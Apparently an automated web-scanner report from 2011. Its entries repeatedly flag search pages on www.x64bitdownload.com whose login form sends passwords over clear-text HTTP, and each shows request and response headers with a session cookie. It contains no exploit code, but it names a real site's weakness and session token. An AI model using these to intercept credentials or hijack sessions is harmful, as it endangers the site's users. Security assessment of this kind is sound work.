GET /64-bit-binaries-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:17 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22binaries%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22binaries%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88854
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-binary-downloader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:42 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A17%3A%22binary-downloader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A17%3A%22binary+downloader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 35748
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-binary-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:46:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22binary%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22binary%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91309
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-board-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:05:03 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22board%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22board%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88225
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-boards-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:05:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22boards%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22boards%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86911
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-client-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:57 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:29 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22client%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22client%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91161
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-commander-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22commander%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22commander%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89024
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-community-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:27 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90778
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-complex-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22complex%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22complex%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 85797
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-conference-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22conference%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22conference%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88850
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-cross-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:56 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22cross%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22cross%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90500
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-download-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22download%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22download%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94324
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-downloader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22downloader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22downloader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98412
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-explorer-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:44 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:55 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22explorer%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22explorer%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93074
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-ext2fs-ext3fs-paragon-extbrowser-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:44 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A32%3A%22ext2fs-ext3fs-paragon-extbrowser%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A32%3A%22ext2fs+ext3fs+paragon+extbrowser%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29987
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-fast-download-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:07 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22fast-download%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22fast+download%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 96343
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-feed-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:51 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22feed%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22feed%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92799
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-feedreader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:31 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22feedreader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22feedreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 41067
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-file-grabber-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:10 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A12%3A%22file-grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A12%3A%22file+grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94024
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-file-sharing-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A12%3A%22file-sharing%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A12%3A%22file+sharing%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94396
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-firefox-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:08:11 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22firefox%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22firefox%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 97672
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-forum-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22forum%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 33899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-forum-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
